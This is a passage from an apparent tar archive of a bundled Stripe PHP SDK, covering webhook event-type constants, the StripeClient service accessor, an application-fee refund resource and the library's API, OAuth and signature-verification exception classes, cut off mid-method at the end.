TYPE_PAYMENT_INTENT_AMOUNT_CAPTURABLE_UPDATED = 'payment_intent.amount_capturable_updated'; const TYPE_PAYMENT_INTENT_CANCELED = 'payment_intent.canceled'; const TYPE_PAYMENT_INTENT_CREATED = 'payment_intent.created'; const TYPE_PAYMENT_INTENT_PARTIALLY_FUNDED = 'payment_intent.partially_funded'; const TYPE_PAYMENT_INTENT_PAYMENT_FAILED = 'payment_intent.payment_failed'; const TYPE_PAYMENT_INTENT_PROCESSING = 'payment_intent.processing'; const TYPE_PAYMENT_INTENT_REQUIRES_ACTION = 'payment_intent.requires_action'; const TYPE_PAYMENT_INTENT_SUCCEEDED = 'payment_intent.succeeded'; const TYPE_PAYMENT_LINK_CREATED = 'payment_link.created'; const TYPE_PAYMENT_LINK_UPDATED = 'payment_link.updated'; const TYPE_PAYMENT_METHOD_ATTACHED = 'payment_method.attached'; const TYPE_PAYMENT_METHOD_AUTOMATICALLY_UPDATED = 'payment_method.automatically_updated'; const TYPE_PAYMENT_METHOD_DETACHED = 'payment_method.detached'; const TYPE_PAYMENT_METHOD_UPDATED = 'payment_method.updated'; const TYPE_PAYOUT_CANCELED = 'payout.canceled'; const TYPE_PAYOUT_CREATED = 'payout.created'; const TYPE_PAYOUT_FAILED = 'payout.failed'; const TYPE_PAYOUT_PAID = 'payout.paid'; const TYPE_PAYOUT_RECONCILIATION_COMPLETED = 'payout.reconciliation_completed'; const TYPE_PAYOUT_UPDATED = 'payout.updated'; const TYPE_PERSON_CREATED = 'person.created'; const TYPE_PERSON_DELETED = 'person.deleted'; const TYPE_PERSON_UPDATED = 'person.updated'; const TYPE_PLAN_CREATED = 'plan.created'; const TYPE_PLAN_DELETED = 'plan.deleted'; const TYPE_PLAN_UPDATED = 'plan.updated'; const TYPE_PRICE_CREATED = 'price.created'; const TYPE_PRICE_DELETED = 'price.deleted'; const TYPE_PRICE_UPDATED = 'price.updated'; const TYPE_PRODUCT_CREATED = 'product.created'; const TYPE_PRODUCT_DELETED = 'product.deleted'; const TYPE_PRODUCT_UPDATED = 'product.updated'; const TYPE_PROMOTION_CODE_CREATED = 'promotion_code.created'; const TYPE_PROMOTION_CODE_UPDATED = 'promotion_code.updated'; const TYPE_QUOTE_ACCEPTED = 'quote.accepted'; const TYPE_QUOTE_CANCELED = 'quote.canceled'; const TYPE_QUOTE_CREATED = 'quote.created'; const TYPE_QUOTE_FINALIZED = 'quote.finalized'; const TYPE_RADAR_EARLY_FRAUD_WARNING_CREATED = 'radar.early_fraud_warning.created'; const TYPE_RADAR_EARLY_FRAUD_WARNING_UPDATED = 'radar.early_fraud_warning.updated'; const TYPE_REFUND_CREATED = 'refund.created'; const TYPE_REFUND_UPDATED = 'refund.updated'; const TYPE_REPORTING_REPORT_RUN_FAILED = 'reporting.report_run.failed'; const TYPE_REPORTING_REPORT_RUN_SUCCEEDED = 'reporting.report_run.succeeded'; const TYPE_REPORTING_REPORT_TYPE_UPDATED = 'reporting.report_type.updated'; const TYPE_REVIEW_CLOSED = 'review.closed'; const TYPE_REVIEW_OPENED = 'review.opened'; const TYPE_SETUP_INTENT_CANCELED = 'setup_intent.canceled'; const TYPE_SETUP_INTENT_CREATED = 'setup_intent.created'; const TYPE_SETUP_INTENT_REQUIRES_ACTION = 'setup_intent.requires_action'; const TYPE_SETUP_INTENT_SETUP_FAILED = 'setup_intent.setup_failed'; const TYPE_SETUP_INTENT_SUCCEEDED = 'setup_intent.succeeded'; const TYPE_SIGMA_SCHEDULED_QUERY_RUN_CREATED = 'sigma.scheduled_query_run.created'; const TYPE_SOURCE_CANCELED = 'source.canceled'; const TYPE_SOURCE_CHARGEABLE = 'source.chargeable'; const TYPE_SOURCE_FAILED = 'source.failed'; const TYPE_SOURCE_MANDATE_NOTIFICATION = 'source.mandate_notification'; const TYPE_SOURCE_REFUND_ATTRIBUTES_REQUIRED = 'source.refund_attributes_required'; const TYPE_SOURCE_TRANSACTION_CREATED = 'source.transaction.created'; const TYPE_SOURCE_TRANSACTION_UPDATED = 'source.transaction.updated'; const TYPE_SUBSCRIPTION_SCHEDULE_ABORTED = 'subscription_schedule.aborted'; const TYPE_SUBSCRIPTION_SCHEDULE_CANCELED = 'subscription_schedule.canceled'; const TYPE_SUBSCRIPTION_SCHEDULE_COMPLETED = 'subscription_schedule.completed'; const TYPE_SUBSCRIPTION_SCHEDULE_CREATED = 'subscription_schedule.created'; const TYPE_SUBSCRIPTION_SCHEDULE_EXPIRING = 'subscription_schedule.expiring'; const TYPE_SUBSCRIPTION_SCHEDULE_RELEASED = 'subscription_schedule.released'; const TYPE_SUBSCRIPTION_SCHEDULE_UPDATED = 'subscription_schedule.updated'; const TYPE_TAX_RATE_CREATED = 'tax_rate.created'; const TYPE_TAX_RATE_UPDATED = 'tax_rate.updated'; const TYPE_TAX_SETTINGS_UPDATED = 'tax.settings.updated'; const TYPE_TERMINAL_READER_ACTION_FAILED = 'terminal.reader.action_failed'; const TYPE_TERMINAL_READER_ACTION_SUCCEEDED = 'terminal.reader.action_succeeded'; const TYPE_TEST_HELPERS_TEST_CLOCK_ADVANCING = 'test_helpers.test_clock.advancing'; const TYPE_TEST_HELPERS_TEST_CLOCK_CREATED = 'test_helpers.test_clock.created'; const TYPE_TEST_HELPERS_TEST_CLOCK_DELETED = 'test_helpers.test_clock.deleted'; const TYPE_TEST_HELPERS_TEST_CLOCK_INTERNAL_FAILURE = 'test_helpers.test_clock.internal_failure'; const TYPE_TEST_HELPERS_TEST_CLOCK_READY = 'test_helpers.test_clock.ready'; const TYPE_TOPUP_CANCELED = 'topup.canceled'; const TYPE_TOPUP_CREATED = 'topup.created'; const TYPE_TOPUP_FAILED = 'topup.failed'; const TYPE_TOPUP_REVERSED = 'topup.reversed'; const TYPE_TOPUP_SUCCEEDED = 'topup.succeeded'; const TYPE_TRANSFER_CREATED = 'transfer.created'; const TYPE_TRANSFER_REVERSED = 'transfer.reversed'; const TYPE_TRANSFER_UPDATED = 'transfer.updated'; const TYPE_TREASURY_CREDIT_REVERSAL_CREATED = 'treasury.credit_reversal.created'; const TYPE_TREASURY_CREDIT_REVERSAL_POSTED = 'treasury.credit_reversal.posted'; const TYPE_TREASURY_DEBIT_REVERSAL_COMPLETED = 'treasury.debit_reversal.completed'; const TYPE_TREASURY_DEBIT_REVERSAL_CREATED = 'treasury.debit_reversal.created'; const TYPE_TREASURY_DEBIT_REVERSAL_INITIAL_CREDIT_GRANTED = 'treasury.debit_reversal.initial_credit_granted'; const TYPE_TREASURY_FINANCIAL_ACCOUNT_CLOSED = 'treasury.financial_account.closed'; const TYPE_TREASURY_FINANCIAL_ACCOUNT_CREATED = 'treasury.financial_account.created'; const TYPE_TREASURY_FINANCIAL_ACCOUNT_FEATURES_STATUS_UPDATED = 'treasury.financial_account.features_status_updated'; const TYPE_TREASURY_INBOUND_TRANSFER_CANCELED = 'treasury.inbound_transfer.canceled'; const TYPE_TREASURY_INBOUND_TRANSFER_CREATED = 'treasury.inbound_transfer.created'; const TYPE_TREASURY_INBOUND_TRANSFER_FAILED = 'treasury.inbound_transfer.failed'; const TYPE_TREASURY_INBOUND_TRANSFER_SUCCEEDED = 'treasury.inbound_transfer.succeeded'; const TYPE_TREASURY_OUTBOUND_PAYMENT_CANCELED = 'treasury.outbound_payment.canceled'; const TYPE_TREASURY_OUTBOUND_PAYMENT_CREATED = 'treasury.outbound_payment.created'; const TYPE_TREASURY_OUTBOUND_PAYMENT_EXPECTED_ARRIVAL_DATE_UPDATED = 'treasury.outbound_payment.expected_arrival_date_updated'; const TYPE_TREASURY_OUTBOUND_PAYMENT_FAILED = 'treasury.outbound_payment.failed'; const TYPE_TREASURY_OUTBOUND_PAYMENT_POSTED = 'treasury.outbound_payment.posted'; const TYPE_TREASURY_OUTBOUND_PAYMENT_RETURNED = 'treasury.outbound_payment.returned'; const TYPE_TREASURY_OUTBOUND_PAYMENT_TRACKING_DETAILS_UPDATED = 'treasury.outbound_payment.tracking_details_updated'; const TYPE_TREASURY_OUTBOUND_TRANSFER_CANCELED = 'treasury.outbound_transfer.canceled'; const TYPE_TREASURY_OUTBOUND_TRANSFER_CREATED = 'treasury.outbound_transfer.created'; const TYPE_TREASURY_OUTBOUND_TRANSFER_EXPECTED_ARRIVAL_DATE_UPDATED = 'treasury.outbound_transfer.expected_arrival_date_updated'; const TYPE_TREASURY_OUTBOUND_TRANSFER_FAILED = 'treasury.outbound_transfer.failed'; const TYPE_TREASURY_OUTBOUND_TRANSFER_POSTED = 'treasury.outbound_transfer.posted'; const TYPE_TREASURY_OUTBOUND_TRANSFER_RETURNED = 'treasury.outbound_transfer.returned'; const TYPE_TREASURY_OUTBOUND_TRANSFER_TRACKING_DETAILS_UPDATED = 'treasury.outbound_transfer.tracking_details_updated'; const TYPE_TREASURY_RECEIVED_CREDIT_CREATED = 'treasury.received_credit.created'; const TYPE_TREASURY_RECEIVED_CREDIT_FAILED = 'treasury.received_credit.failed'; const TYPE_TREASURY_RECEIVED_CREDIT_SUCCEEDED = 'treasury.received_credit.succeeded'; const TYPE_TREASURY_RECEIVED_DEBIT_CREATED = 'treasury.received_debit.created'; /** * List events, going back up to 30 days. Each event data is rendered according to * Stripe API version at its creation time, specified in <a * href="https://docs.stripe.com/api/events/object">event object</a> * <code>api_version</code> attribute (not according to your current Stripe API * version or <code>Stripe-Version</code> header). * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Event> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of an event if it was created in the last 30 days. Supply * the unique identifier of the event, which you might have received in a webhook. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Event */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/StripeClient.php�����������������������������������������������������������������0000644�����������������00000011607�14720677707�0013423 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe; /** * Client used to send requests to Stripe's API. * * @property \Stripe\Service\OAuthService $oauth * // The beginning of the section generated from our OpenAPI spec * @property \Stripe\Service\AccountLinkService $accountLinks * @property \Stripe\Service\AccountService $accounts * @property \Stripe\Service\AccountSessionService $accountSessions * @property \Stripe\Service\ApplePayDomainService $applePayDomains * @property \Stripe\Service\ApplicationFeeService $applicationFees * @property \Stripe\Service\Apps\AppsServiceFactory $apps * @property \Stripe\Service\BalanceService $balance * @property \Stripe\Service\BalanceTransactionService $balanceTransactions * @property \Stripe\Service\Billing\BillingServiceFactory $billing * @property \Stripe\Service\BillingPortal\BillingPortalServiceFactory $billingPortal * @property \Stripe\Service\ChargeService $charges * @property \Stripe\Service\Checkout\CheckoutServiceFactory $checkout * @property \Stripe\Service\Climate\ClimateServiceFactory $climate * @property \Stripe\Service\ConfirmationTokenService $confirmationTokens * @property \Stripe\Service\CountrySpecService $countrySpecs * @property \Stripe\Service\CouponService $coupons * @property \Stripe\Service\CreditNoteService $creditNotes * @property \Stripe\Service\CustomerService $customers * @property \Stripe\Service\CustomerSessionService $customerSessions * @property \Stripe\Service\DisputeService $disputes * @property \Stripe\Service\Entitlements\EntitlementsServiceFactory $entitlements * @property \Stripe\Service\EphemeralKeyService $ephemeralKeys * @property \Stripe\Service\EventService $events * @property \Stripe\Service\ExchangeRateService $exchangeRates * @property \Stripe\Service\FileLinkService $fileLinks * @property \Stripe\Service\FileService $files * @property \Stripe\Service\FinancialConnections\FinancialConnectionsServiceFactory $financialConnections * @property \Stripe\Service\Forwarding\ForwardingServiceFactory $forwarding * @property \Stripe\Service\Identity\IdentityServiceFactory $identity * @property \Stripe\Service\InvoiceItemService $invoiceItems * @property \Stripe\Service\InvoiceService $invoices * @property \Stripe\Service\Issuing\IssuingServiceFactory $issuing * @property \Stripe\Service\MandateService $mandates * @property \Stripe\Service\PaymentIntentService $paymentIntents * @property \Stripe\Service\PaymentLinkService $paymentLinks * @property \Stripe\Service\PaymentMethodConfigurationService $paymentMethodConfigurations * @property \Stripe\Service\PaymentMethodDomainService $paymentMethodDomains * @property \Stripe\Service\PaymentMethodService $paymentMethods * @property \Stripe\Service\PayoutService $payouts * @property \Stripe\Service\PlanService $plans * @property \Stripe\Service\PriceService $prices * @property \Stripe\Service\ProductService $products * @property \Stripe\Service\PromotionCodeService $promotionCodes * @property \Stripe\Service\QuoteService $quotes * @property \Stripe\Service\Radar\RadarServiceFactory $radar * @property \Stripe\Service\RefundService $refunds * @property \Stripe\Service\Reporting\ReportingServiceFactory $reporting * @property \Stripe\Service\ReviewService $reviews * @property \Stripe\Service\SetupAttemptService $setupAttempts * @property \Stripe\Service\SetupIntentService $setupIntents * @property \Stripe\Service\ShippingRateService $shippingRates * @property \Stripe\Service\Sigma\SigmaServiceFactory $sigma * @property \Stripe\Service\SourceService $sources * @property \Stripe\Service\SubscriptionItemService $subscriptionItems * @property \Stripe\Service\SubscriptionService $subscriptions * @property \Stripe\Service\SubscriptionScheduleService $subscriptionSchedules * @property \Stripe\Service\Tax\TaxServiceFactory $tax * @property \Stripe\Service\TaxCodeService $taxCodes * @property \Stripe\Service\TaxIdService $taxIds * @property \Stripe\Service\TaxRateService $taxRates * @property \Stripe\Service\Terminal\TerminalServiceFactory $terminal * @property \Stripe\Service\TestHelpers\TestHelpersServiceFactory $testHelpers * @property \Stripe\Service\TokenService $tokens * @property \Stripe\Service\TopupService $topups * @property \Stripe\Service\TransferService $transfers * @property \Stripe\Service\Treasury\TreasuryServiceFactory $treasury * @property \Stripe\Service\WebhookEndpointService $webhookEndpoints * // The end of the section generated from our OpenAPI spec */ class StripeClient extends BaseStripeClient { /** * @var \Stripe\Service\CoreServiceFactory */ private $coreServiceFactory; public function __get($name) { return $this->getService($name); } public function getService($name) { if (null === $this->coreServiceFactory) { $this->coreServiceFactory = new \Stripe\Service\CoreServiceFactory($this); } return $this->coreServiceFactory->getService($name); } } �������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/BaseStripeClientInterface.php����������������������������������������������������0000644�����������������00000001736�14720677707�0016041 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe; /** * Interface for a Stripe client. */ interface BaseStripeClientInterface { /** * Gets the API key used by the client to send requests. * * @return null|string the API key used by the client to send requests */ public function getApiKey(); /** * Gets the client ID used by the client in OAuth requests. * * @return null|string the client ID used by the client in OAuth requests */ public function getClientId(); /** * Gets the base URL for Stripe's API. * * @return string the base URL for Stripe's API */ public function getApiBase(); /** * Gets the base URL for Stripe's OAuth API. * * @return string the base URL for Stripe's OAuth API */ public function getConnectBase(); /** * Gets the base URL for Stripe's Files API. * * @return string the base URL for Stripe's Files API */ public function getFilesBase(); } ����������������������������������stripe-gateway/lib/ApplicationFeeRefund.php���������������������������������������������������������0000644�����������������00000004731�14720677707�0015045 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * <code>Application Fee Refund</code> objects allow you to refund an application fee that * has previously been created but not yet refunded. Funds will be refunded to * the Stripe account from which the fee was originally collected. * * Related guide: <a href="https://stripe.com/docs/connect/destination-charges#refunding-app-fee">Refunding application fees</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount Amount, in cents (or local equivalent). * @property null|string|\Stripe\BalanceTransaction $balance_transaction Balance transaction that describes the impact on your account balance. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property string|\Stripe\ApplicationFee $fee ID of the application fee that was refunded. * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. */ class ApplicationFeeRefund extends ApiResource { const OBJECT_NAME = 'fee_refund'; use ApiOperations\Update { save as protected _save; } /** * @return string the API URL for this Stripe refund */ public function instanceUrl() { $id = $this['id']; $fee = $this['fee']; if (!$id) { throw new Exception\UnexpectedValueException( 'Could not determine which URL to request: ' . "class instance has invalid ID: {$id}", null ); } $id = Util\Util::utf8($id); $fee = Util\Util::utf8($fee); $base = ApplicationFee::classUrl(); $feeExtn = \urlencode($fee); $extn = \urlencode($id); return "{$base}/{$feeExtn}/refunds/{$extn}"; } /** * @param null|array|string $opts * * @return ApplicationFeeRefund the saved refund */ public function save($opts = null) { return $this->_save($opts); } } ���������������������������������������stripe-gateway/lib/Exception/UnexpectedValueException.php�������������������������������������������0000644�����������������00000000216�14720677707�0017726 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Exception; class UnexpectedValueException extends \UnexpectedValueException implements ExceptionInterface { } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Exception/InvalidArgumentException.php�������������������������������������������0000644�����������������00000000216�14720677707�0017716 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Exception; class InvalidArgumentException extends \InvalidArgumentException implements ExceptionInterface { } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Exception/UnknownApiErrorException.php�������������������������������������������0000644�����������������00000000517�14720677707�0017734 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Exception; /** * UnknownApiErrorException is thrown when the client library receives an * error from the API it doesn't know about. Receiving this error usually * means that your client library is outdated and should be upgraded. */ class UnknownApiErrorException extends ApiErrorException { } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Exception/OAuth/InvalidScopeException.php����������������������������������������0000644�����������������00000000310�14720677707�0020220 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Exception\OAuth; /** * InvalidScopeException is thrown when an invalid scope parameter is provided. */ class InvalidScopeException extends OAuthErrorException { } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Exception/OAuth/InvalidGrantException.php����������������������������������������0000644�����������������00000000624�14720677707�0020232 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Exception\OAuth; /** * InvalidGrantException is thrown when a specified code doesn't exist, is * expired, has been used, or doesn't belong to you; a refresh token doesn't * exist, or doesn't belong to you; or if an API key's mode (live or test) * doesn't match the mode of a code or refresh token. */ class InvalidGrantException extends OAuthErrorException { } ������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Exception/OAuth/OAuthErrorException.php������������������������������������������0000644�����������������00000000700�14720677707�0017675 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Exception\OAuth; /** * Implements properties and methods common to all (non-SPL) Stripe OAuth * exceptions. */ abstract class OAuthErrorException extends \Stripe\Exception\ApiErrorException { protected function constructErrorObject() { if (null === $this->jsonBody) { return null; } return \Stripe\OAuthErrorObject::constructFrom($this->jsonBody); } } ����������������������������������������������������������������stripe-gateway/lib/Exception/OAuth/UnsupportedGrantTypeException.php��������������������������������0000644�����������������00000000346�14720677707�0022037 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Exception\OAuth; /** * UnsupportedGrantTypeException is thrown when an unuspported grant type * parameter is specified. */ class UnsupportedGrantTypeException extends OAuthErrorException { } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Exception/OAuth/UnknownOAuthErrorException.php�����������������������������������0000644�����������������00000000537�14720677707�0021265 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Exception\OAuth; /** * UnknownApiErrorException is thrown when the client library receives an * error from the OAuth API it doesn't know about. Receiving this error usually * means that your client library is outdated and should be upgraded. */ class UnknownOAuthErrorException extends OAuthErrorException { } �����������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Exception/OAuth/ExceptionInterface.php�������������������������������������������0000644�����������������00000000301�14720677707�0017540 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Exception\OAuth; /** * The base interface for all Stripe OAuth exceptions. */ interface ExceptionInterface extends \Stripe\Exception\ExceptionInterface { } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Exception/OAuth/InvalidRequestException.php��������������������������������������0000644�����������������00000000372�14720677707�0020607 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Exception\OAuth; /** * InvalidRequestException is thrown when a code, refresh token, or grant * type parameter is not provided, but was required. */ class InvalidRequestException extends OAuthErrorException { } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Exception/OAuth/InvalidClientException.php���������������������������������������0000644�����������������00000000546�14720677707�0020400 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Exception\OAuth; /** * InvalidClientException is thrown when the client_id does not belong to you, * the stripe_user_id does not exist or is not connected to your application, * or the API key mode (live or test mode) does not match the client_id mode. */ class InvalidClientException extends OAuthErrorException { } ����������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Exception/OAuth/UnsupportedResponseTypeException.php�����������������������������0000644�����������������00000000357�14720677707�0022564 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Exception\OAuth; /** * UnsupportedResponseTypeException is thrown when an unsupported response type * parameter is specified. */ class UnsupportedResponseTypeException extends OAuthErrorException { } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Exception/PermissionException.php������������������������������������������������0000644�����������������00000000332�14720677707�0016754 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Exception; /** * PermissionException is thrown in cases where access was attempted on a * resource that wasn't allowed. */ class PermissionException extends ApiErrorException { } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Exception/SignatureVerificationException.php�������������������������������������0000644�����������������00000003251�14720677707�0021133 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Exception; /** * SignatureVerificationException is thrown when the signature verification for * a webhook fails. */ class SignatureVerificationException extends \Exception implements ExceptionInterface { protected $httpBody; protected $sigHeader; /** * Creates a new SignatureVerificationException exception. * * @param string $message the exception message * @param null|string $httpBody the HTTP body as a string * @param null|string $sigHeader the `Stripe-Signature` HTTP header * * @return SignatureVerificationException */ public static function factory( $message, $httpBody = null, $sigHeader = null ) { $instance = new static($message); $instance->setHttpBody($httpBody); $instance->setSigHeader($sigHeader); return $instance; } /** * Gets the HTTP body as a string. * * @return null|string */ public function getHttpBody() { return $this->httpBody; } /** * Sets the HTTP body as a string. * * @param null|string $httpBody */ public function setHttpBody($httpBody) { $this->httpBody = $httpBody; } /** * Gets the `Stripe-Signature` HTTP header. * * @return null|string */ public function getSigHeader() { return $this->sigHeader; } /** * Sets the `Stripe-Signature` HTTP header. * * @param null|string $sigHeader */ public function setSigHeader($sigHeader) { $this->sigHeader = $sigHeader; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Exception/ExceptionInterface.php�������������������������������������������������0000644�����������������00000001000�14720677707�0016515 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Exception; // TODO: remove this check once we drop support for PHP 5 if (\interface_exists(\Throwable::class, false)) { /** * The base interface for all Stripe exceptions. */ interface ExceptionInterface extends \Throwable { } } else { /** * The base interface for all Stripe exceptions. */ // phpcs:disable PSR1.Classes.ClassDeclaration.MultipleClasses interface ExceptionInterface { } // phpcs:enable } stripe-gateway/lib/Exception/ApiConnectionException.php���������������������������������������������0000644�����������������00000000460�14720677707�0017357 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Exception; /** * ApiConnection is thrown in the event that the SDK can't connect to Stripe's * servers. That can be for a variety of different reasons from a downed * network to a bad TLS certificate. */ class ApiConnectionException extends ApiErrorException { } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Exception/InvalidRequestException.php��������������������������������������������0000644�����������������00000003230�14720677707�0017563 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Exception; /** * InvalidRequestException is thrown when a request is initiated with invalid * parameters. */ class InvalidRequestException extends ApiErrorException { protected $stripeParam; /** * Creates a new InvalidRequestException exception. * * @param string $message the exception message * @param null|int $httpStatus the HTTP status code * @param null|string $httpBody the HTTP body as a string * @param null|array $jsonBody the JSON deserialized body * @param null|array|\Stripe\Util\CaseInsensitiveArray $httpHeaders the HTTP headers array * @param null|string $stripeCode the Stripe error code * @param null|string $stripeParam the parameter related to the error * * @return InvalidRequestException */ public static function factory( $message, $httpStatus = null, $httpBody = null, $jsonBody = null, $httpHeaders = null, $stripeCode = null, $stripeParam = null ) { $instance = parent::factory($message, $httpStatus, $httpBody, $jsonBody, $httpHeaders, $stripeCode); $instance->setStripeParam($stripeParam); return $instance; } /** * Gets the parameter related to the error. * * @return null|string */ public function getStripeParam() { return $this->stripeParam; } /** * Sets the parameter related to the error. * * @param null|string $stripeParam */ public function setStripeParam($stripeParam) { $this->stripeParam = $stripeParam; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Exception/ApiErrorException.php��������������������������������������������������0000644�����������������00000011756�14720677707�0016363 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Exception; /** * Implements properties and methods common to all (non-SPL) Stripe exceptions. */ abstract class ApiErrorException extends \Exception implements ExceptionInterface { protected $error; protected $httpBody; protected $httpHeaders; protected $httpStatus; protected $jsonBody; protected $requestId; protected $stripeCode; /** * Creates a new API error exception. * * @param string $message the exception message * @param null|int $httpStatus the HTTP status code * @param null|string $httpBody the HTTP body as a string * @param null|array $jsonBody the JSON deserialized body * @param null|array|\Stripe\Util\CaseInsensitiveArray $httpHeaders the HTTP headers array * @param null|string $stripeCode the Stripe error code * * @return static */ public static function factory( $message, $httpStatus = null, $httpBody = null, $jsonBody = null, $httpHeaders = null, $stripeCode = null ) { $instance = new static($message); $instance->setHttpStatus($httpStatus); $instance->setHttpBody($httpBody); $instance->setJsonBody($jsonBody); $instance->setHttpHeaders($httpHeaders); $instance->setStripeCode($stripeCode); $instance->setRequestId(null); if ($httpHeaders && isset($httpHeaders['Request-Id'])) { $instance->setRequestId($httpHeaders['Request-Id']); } $instance->setError($instance->constructErrorObject()); return $instance; } /** * Gets the Stripe error object. * * @return null|\Stripe\ErrorObject */ public function getError() { return $this->error; } /** * Sets the Stripe error object. * * @param null|\Stripe\ErrorObject $error */ public function setError($error) { $this->error = $error; } /** * Gets the HTTP body as a string. * * @return null|string */ public function getHttpBody() { return $this->httpBody; } /** * Sets the HTTP body as a string. * * @param null|string $httpBody */ public function setHttpBody($httpBody) { $this->httpBody = $httpBody; } /** * Gets the HTTP headers array. * * @return null|array|\Stripe\Util\CaseInsensitiveArray */ public function getHttpHeaders() { return $this->httpHeaders; } /** * Sets the HTTP headers array. * * @param null|array|\Stripe\Util\CaseInsensitiveArray $httpHeaders */ public function setHttpHeaders($httpHeaders) { $this->httpHeaders = $httpHeaders; } /** * Gets the HTTP status code. * * @return null|int */ public function getHttpStatus() { return $this->httpStatus; } /** * Sets the HTTP status code. * * @param null|int $httpStatus */ public function setHttpStatus($httpStatus) { $this->httpStatus = $httpStatus; } /** * Gets the JSON deserialized body. * * @return null|array<string, mixed> */ public function 